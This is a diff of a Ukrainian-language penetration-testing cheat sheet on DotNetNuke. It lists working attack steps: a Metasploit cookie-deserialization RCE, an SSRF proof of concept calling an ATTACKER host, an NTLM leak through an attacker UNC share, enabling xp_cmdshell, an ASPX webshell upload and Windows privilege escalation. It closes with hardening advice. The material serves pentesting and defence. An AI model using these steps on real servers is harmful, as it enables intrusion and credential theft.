diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 15aa87052..e4c7ca799 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,37 +4,92 @@ ## DotNetNuke (DNN) -Якщо ви увійдете як **адміністратор** в DNN, легко отримати RCE. +Якщо ви входите як **адміністратор** в DNN, легко отримати **RCE**, однак за останні кілька років було опубліковано ряд *неавтентифікованих* та *пост-автентифікаційних* технік. Наступна шпаргалка збирає найбільш корисні примітиви для як наступальних, так і захисних робіт. -## RCE +--- +## Перерахунок версій та середовища -### Через SQL +* Перевірте заголовок HTTP-відповіді *X-DNN* – зазвичай він розкриває точну версію платформи. +* Майстер установки розкриває версію в `/Install/Install.aspx?mode=install` (доступно на дуже старих установках). +* `/API/PersonaBar/GetStatus` (9.x) повертає JSON-об'єкт, що містить `"dnnVersion"` для користувачів з низькими привілеями. +* Типові куки, які ви побачите на живій інстанції: +* `.DOTNETNUKE` – квиток аутентифікації форм ASP.NET. +* `DNNPersonalization` – містить XML/серіалізовані дані профілю користувача (старі версії – див. RCE нижче). -SQL консолі доступна на сторінці **`Налаштування`**, де ви можете увімкнути **`xp_cmdshell`** та **виконувати команди операційної системи**. +--- +## Неавтентифіковане використання -Використовуйте ці рядки, щоб увімкнути **`xp_cmdshell`**: -```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE +### 1. Десеріалізація куків RCE (CVE-2017-9822 та подальші) +*Постраждалі версії ≤ 9.3.0-RC* + +`DNNPersonalization` десеріалізується при кожному запиті, коли вбудований обробник 404 увімкнено. Отже, підготовлений XML може призвести до довільних ланцюгів гаджетів та виконання коду. ``` -І натисніть **"Run Script"**, щоб виконати ці SQL речення. - -Потім використовуйте щось подібне до наступного, щоб виконати команди ОС: -```sql -xp_cmdshell 'whoami' +msf> use exploit/windows/http/dnn_cookie_deserialization_rce +msf> set RHOSTS +msf> set LHOST +msf> run ``` -### Via ASP webshell +Модуль автоматично обирає правильний шлях для патчених, але все ще вразливих версій (CVE-2018-15811/15812/18325/18326). Експлуатація працює **без аутентифікації** на 7.x–9.1.x і з *перевіреним* обліковим записом з низькими привілеями на 9.2.x+. -В `Settings -> Security -> More -> More Security Settings` ви можете **додати нові дозволені розширення** в `Allowable File Extensions`, а потім натиснути кнопку `Save`. +### 2. Server-Side Request Forgery (CVE-2025-32372) +*Постраждалі версії < 9.13.8 – Патч випущено в квітні 2025 року* -Додайте **`asp`** або **`aspx`**, а потім у **`/admin/file-management`** завантажте **asp webshell** під назвою `shell.asp`, наприклад. +Обхід старого виправлення `DnnImageHandler` дозволяє зловмиснику примусити сервер виконувати **произвольні GET запити** (напівсліпий SSRF). Практичні наслідки: -Потім отримайте доступ до **`/Portals/0/shell.asp`**, щоб отримати доступ до вашого webshell. +* Внутрішнє сканування портів / виявлення метаданих у хмарних розгортаннях. +* Доступ до хостів, які інакше заблоковані брандмауером від Інтернету. -### Privilege Escalation +Доказ концепції (замініть `TARGET` & `ATTACKER`): +``` +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc +``` +Запит викликається у фоновому режимі; слідкуйте за вашим слухачем для зворотних викликів. -Ви можете **підвищити привілеї** за допомогою **Potatoes** або **PrintSpoofer**, наприклад. +### 3. Витік NTLM Hash через UNC перенаправлення (CVE-2025-52488) +*Постраждалі версії 6.0.0 – 9.x (< 10.0.1)* +Спеціально підготовлений контент може змусити DNN спробувати отримати ресурс, використовуючи **UNC шлях** такий як `\\attacker\share\img.png`. Windows з радістю виконає NTLM переговори, витікаючи хеші облікових записів сервера до атакуючого. Оновіть до **10.0.1** або вимкніть вихідний SMB на брандмауері. + +### 4. Обхід IP фільтрації (CVE-2025-52487) +Якщо адміністратори покладаються на *Host/IP Filters* для захисту адміністративного порталу, майте на увазі, що версії до **10.0.1** можуть бути обійдені шляхом маніпуляції `X-Forwarded-For` у сценарії зворотного проксі. + +--- +## Пост-аутентифікація до RCE + +### Через SQL консоль +У **`Settings → SQL`** вбудоване вікно запитів дозволяє виконання проти бази даних сайту. На Microsoft SQL Server ви можете увімкнути **`xp_cmdshell`** і запускати команди: +```sql +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO +xp_cmdshell 'whoami'; +``` +### Завантаження веб-шелу через ASPX +1. Перейдіть до **`Налаштування → Безпека → Більше → Додаткові налаштування безпеки`**. +2. Додайте `aspx` (або `asp`) до **Дозволені розширення файлів** та **Зберегти**. +3. Перейдіть до **`/admin/file-management`** та завантажте `shell.aspx`. +4. Викличте його за адресою **`/Portals/0/shell.aspx`**. + +--- +## Підвищення привілеїв на Windows +Якщо виконання коду досягнуто як **IIS AppPool\**, застосовуються звичайні техніки підвищення привілеїв Windows. Якщо система вразлива, ви можете скористатися: + +* **PrintSpoofer** / **SpoolFool** для зловживання *SeImpersonatePrivilege*. +* **Juicy/Sharp Potatoes** для обходу *Службових облікових записів*. + +--- +## Рекомендації щодо зміцнення (Блакитна команда) + +* **Оновіть** до принаймні **9.13.9** (виправляє обхід SSRF) або, бажано, **10.0.1** (проблеми з IP-фільтрацією та NTLM). +* Видаліть залишкові **`InstallWizard.aspx*`** файли після установки. +* Вимкніть вихідний SMB (порти 445/139). +* Застосуйте суворі *Фільтри хостів* на крайовому проксі, а не в DNN. +* Заблокуйте доступ до `/API/RemoteContentProxy`, якщо не використовується. + +## Посилання + +* Документація модуля Metasploit `dnn_cookie_deserialization_rce` – практичні деталі неавтентифікованого RCE (GitHub). +* Повідомлення про безпеку GitHub GHSA-3f7v-qx94-666m – інформація про обхід SSRF 2025 року та патчі. {{#include ../../banners/hacktricks-training.md}}